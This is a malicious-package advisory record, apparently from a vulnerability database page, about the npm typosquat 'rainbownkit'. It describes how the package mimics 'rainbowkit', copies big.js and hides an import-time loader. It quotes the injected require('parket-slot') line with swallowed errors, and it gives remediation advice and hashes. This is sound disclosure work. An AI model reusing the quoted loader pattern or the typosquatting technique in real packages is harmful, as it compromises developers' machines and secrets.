mal-2026-6340
Vulnerability from ossf_malicious_packages
Published
2026-06-23 20:01
Modified
2026-07-27 09:45
Summary
Malicious code in rainbownkit (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a)

Package 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via main and exports) contains an injected try/catch around line 606 that runs at require/import time: const doc = require("parket-slot"); doc.from_str().then(e => {}).catch(e => {}). The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (^0.0.9), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs require('rainbownkit') (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.

Source: ghsa-malware (a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "package.json",
              "sha256": "8ee421f3aa743362a6d8f3fbdb0192c1bba7411414379eee44c7072d69a2ae3f",
              "tlsh": "65210477c9a59da70af85ba47c6c03aaf1151b1f00a04c57b0bb130c4f3355b2095bbd"
            },
            {
              "path": "big.js",
              "sha256": "5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace",
              "tlsh": "24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"
            }
          ],
          "package_integrity": [
            {
              "filename": "rainbownkit-0.0.8.tgz",
              "hashes": {
                "sha1": "06fc33f46ad8a5d4a6bf1d95eea59c386e3ad0e0",
                "sha512_sri": "sha512-Ru8xsXyJdZ+j5/0+qDdowD9yV3derEcpLi9ozzAiRBgH96SM2klwlc0NQcBsSlz4wwAdPQsvFSpLCfg25BCiLg=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "rainbownkit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "0.0.8"
      ]
    }
  ],
  "aliases": [
    "GHSA-vj5m-3jrw-83gx"
  ],
  "credits": [
    {
      "contact": [
        "inspector-research@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-007354",
        "import_time": "2026-06-23T20:48:30.53507161Z",
        "modified_time": "2026-06-23T20:01:24Z",
        "sha256": "970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a",
        "source": "amazon-inspector",
        "versions": [
          "0.0.8"
        ]
      },
      {
        "id": "GHSA-vj5m-3jrw-83gx",
        "import_time": "2026-07-27T09:43:03.849240848Z",
        "modified_time": "2026-07-27T01:17:59Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12",
        "source": "ghsa-malware"
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a)\nPackage \u0027rainbownkit\u0027 is a single-character typosquat of the popular Web3 library \u0027rainbowkit\u0027. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated \u0027big.js\u0027 arbitrary-precision math library \u2014 a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package\u0027s main entry (big.js and big.mjs, both referenced via `main` and `exports`) contains an injected try/catch around line 606 that runs at require/import time: `const doc = require(\"parket-slot\"); doc.from_str().then(e =\u003e {}).catch(e =\u003e {})`. The \u0027parket-slot\u0027 module is not declared in package.json and would be pulled in transitively via the package\u0027s only declared runtime dependency \u0027log-taker\u0027 (`^0.0.9`), an undocumented niche package with no relation to the package\u0027s claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs `require(\u0027rainbownkit\u0027)` (or any code that imports it) executes whatever code the \u0027parket-slot\u0027 / \u0027log-taker\u0027 chain delivers at that moment \u2014 a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.\n\n## Source: ghsa-malware (a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-6340",
  "modified": "2026-07-27T09:45:43Z",
  "published": "2026-06-23T20:01:24Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/rainbownkit/v/0.0.8"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-vj5m-3jrw-83gx"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in rainbownkit (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…